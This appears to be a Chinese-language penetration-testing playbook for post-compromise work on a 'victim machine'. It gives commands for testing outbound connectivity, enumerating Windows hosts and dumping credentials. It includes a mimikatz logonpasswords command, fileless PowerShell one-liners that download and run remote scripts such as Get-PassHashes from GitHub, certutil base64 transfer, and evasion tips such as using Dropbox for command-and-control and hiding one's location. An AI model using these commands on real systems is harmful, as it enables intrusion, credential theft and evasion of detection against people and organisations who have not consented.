一、信息收集的意义:
搞渗透的人应该都清楚,信息收集对于渗透测试来说是非常重要的,我们手上掌握的目标的信息越多,成功渗透的概率就越大。信息收集的广度往往决定渗透过程中可使用的招式,信息收集的深度影响一次攻击的成功率,因此信息收集是一门精细活,需要足够的耐心,同样的重复工作可以写一个小工具来代替。
二、受害机器的出网探测:
1、信息收集在内网渗透的意义:
在拿到一台机器后,肯定是想通过这台机器发掘更多有价值的信息(包括渗透和客户关心的信息),所以通过远控控制下来是很有必要的,那么这就需要我们对这个机器的网络情况进行判断,判断是否可以出网,能用什么协议出网
断网机、脱网机说的是一些无法通过正常的方式访问网络的机器,如打开浏览器访问不到网络站点,ping不到已知的机器。但这些断网机也并非是真正的断网,他们可能是被自身的网络防火墙拦截掉了某些协议而不能出网。即有可能是该机器自身的防火墙设置了出站规则,也有可能是上层防火墙设置了某些机器不给出网的规则,还有可能是管理员把网管去掉了,导致计算机无法把数据传送出去。
2、防火前规则的获取
由于输出的内容太多了,最好把它从定向到到一个文本文档再查看:
netsh advfirewall firewall show rule name=all > 1.txt
也可以图形化查看防火墙配置:
3、出网判断的几种方式:
①基于ICMP的出网判断
Ⅰ ping公网任意域名和任意存活的IP:
Ping www.baidu.com // 在国外就ping www.google.com ,别暴露自己的方位
如果域名被解析为IP,就表明DNS协议可出网
Ⅱ ping任意IP的情况:
Ping 8.8.8.8 //这个是谷歌的dns
当无法ping通,如果是本机防火墙拦截的话,会显示“超时”或“一般障碍”
②基于TCP的出网判断
Ⅰ Windows
给予tcp的出网判断就是使用一些内置的程序去连接远程开放的端口,可以使用telnet来连接远程端口,例如连接自己vps开放的端口。默认情况下win7开始时不支持telnet的,需要启用该功能
Dism /online /Enable-Feature /FeatureName:TelnetClient #启⽤telnet
Dism /online /Disable-Feature /FeatureName:TelnetClient #禁⽤telnet
开启telnet之后,我们就可以现在自己的vps上先开启监听
nc -lvp 3306
然后就可以在目标机器上使用telnet来尝试连接我们的vps了:
telnet <remote-ip> 3306
Ⅱ Linux
与Windows相似,直接用nc命令连接远程nc即可:
nc <remote-ip> 3306
③基于UDP的出网判断
脚本下载:https://gist.github.com/PrateekKumarSingh/61532b4f48edac1d893b
使⽤powershell脚本在windows机器内判断基于UDP出⽹的情况。
如果不能通过什么办法复制到⽬标机,可以通过echo的⽅式echo上⽬标机。可以先把⽂件编码成base64格式,echo上服务器之后再解码。
使⽤的是系统⾃带的编码⼯具 certutil:
certutil-encodetelnet.ps1telnet.txt #base64编码
certutil-decodetelnet.txttelnet.ps1 #base64解码
执行命令:
powershell -exec bypass -command "&{ import-module C:\Users\hacker\Desktop\Test-PortConnectivity.ps1 ;Test-PortConnectivity 'localhost' '182.61.182.110' 53 -Iterate -protocol UDP}
④基于DNS的出网判断
通过获取域名的txt记录的值来判断
Ⅰ 先在自己控制的域名上添加txt记录
Ⅱ 然后在本机执行nslookup-type=txt txt.XXX.XXX \\这个XXX.XXX是域名
实战渗透中我们需要判断目标机器是不给访问全部的公网还是只能访问受目标机构信任的公共网络,比如能访问Google却不能访问自己的vps。所以可以先试用该目标国使用人数最多的公网进行测试,再使用自己的vps做测试。此外,要注意一下dropbox等网盘,如果目标机器允许访问,我们可以利用它上线和免杀
三、受害机各类基础信息收集
1、前言:
基础的信息收集很⾮常有必要的,我们后期如果失去了对该机器权限的控制,想要再次拿回机器权限的时候,到时,初次收集到的信息就显得尤为重要了。另外⼀个就是收集好信息回来之后,我们就在本地进⾏信息的提取和分析,不需要再⽬标机器上⾯停留太多的时间,减低被发现的⻛险;在后期与队友进⾏分析的时候也可以快速拿出信息。
2、系统信息的收集:
命令:Systeminfo
Systeminfo信息主要包括:系统版本、架构(Bit)、机器名称、注册所有⼈、安装时间、开机时间(有时候并不准确)、 补丁信息、⽹卡信息、IP获取⽅式、是否为虚拟机等,信息量其实挺⼤,作为后期的信息综合分析的基础。
3、TCP链接、端口开放信息:
这个连接信息⾮常重要的,我们可以在不同时段多次获取这个信息,因为不同的时段可能会出现惊喜。主要是有可 能出现⾮本⽹段的内⽹IP,在进⾏相关扫描上机之后,可能就省了很多事情。
我们可以用 netstat-h 显⽰协议统计和当前TCP/IP⽹络连接:
常用命令:
netstat-anto
netstat-r
netstat -anto -p tcp //筛选出TCP
netstat-f
4、获取路由表:
获取到本机的路由表信息,可以判断当前机器的网络网段情况,虽然不能扩展出更多的信息。
命令:
route print
netstat -r
5、获取文件列表:
获取全盘⽂件列表的意义在于我们对特定⽂件名的搜索,⽐如搜索各类密码⽂件名、敏感⽂件(名单)、各类程序等⽂件的路径。如果⽬标机器的语⾔是小语种的话,我们可能就要写个小⼯具来获取了,因为这涉及到编码字符的问题。正常的获取的⽅法可以先列举所有盘符,然后再依次列举就可以了。
获取盘符命令:
wmic logicaldisk where drivetype=3 get deviceid #获取逻辑磁盘盘符
wmic logicaldisk where drivetype=2 get deviceid #获取移动磁盘盘符
这个命令可以获取某个盘符下的所有文件名,注意最好重定向到文档来查看:
dir /s /a c:\>logc.txt
dir /s /a d:\>logd.txt
5、获取用户列表:
方便后期权限掉了再通过一些密码碰撞找回
命令:net user
6、查看已开启的服务:
可以查看是否有防护类软件、同行的服务启动
命令:net start
7、查看系统变量:
可以看到管理员设置的一些变量,发现管理员常用的东西
命令:set
8、host文件:
可以查看管理员是否在hosts文件设置了访问“域名“
命令:type c:\windows\system32\drivers\etc\hosts
8、DNS和子网掩码:
通过ipconfig /all 可以获取dns和子网掩码,通常子网掩码是255.255.255.0,这说明是可以直接跟C段通信的,不需要路由表。Dns的话是可以看目标机器用的是外网的DNS还是网关地址。
命令:ipconfig /all
9、查看有没有远程链接过来的session:
命令: net session
10、存活的IPC连接:
可以看是否可以通过已有的连接直接获取内网其他机器的权限
命令:net use
11、查看已经安装的程序(快捷,但不一定完整):
①Powershell
powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name"
②WMIC
wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_Product get name /FORMAT:table
12、查看已经安装的程序(完整):
下载到本地后
powershell -exec bypass -f c:\users\public\ListInstalledPrograms.ps1
⽆⽂件
powershell IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/3gstudent/ListInstalledPrograms/master/ListInstalledPrograms.ps1')
四、受害机系统密码&hash收集
1、Windows系统明文密码:
①mimikatz:
Ⅰ 上传mimikatz到目标(不推荐):
只需要把对应⽬标系统版本的 mimiaktz.exe上传到⽬标机上,执⾏:mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords full" "exit">>password.txt
Ⅱ dump内存回来
Ⅲ powershell-mimikatz
②Metesploit
③Cobalt Strike
1、Windows系统账户密码HASH
①powershell-mimikatz:
Ⅰ powershell无文件下载获取hash:
powershell IEX (New-Object System.Net.WebClient).DownloadString('http://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
Ⅱ powershell导入本地ps1文件
powershell –exec bypass –Command "& {Import-Module 'C:\Get-PassHashes.ps1';Get-PassHashes}"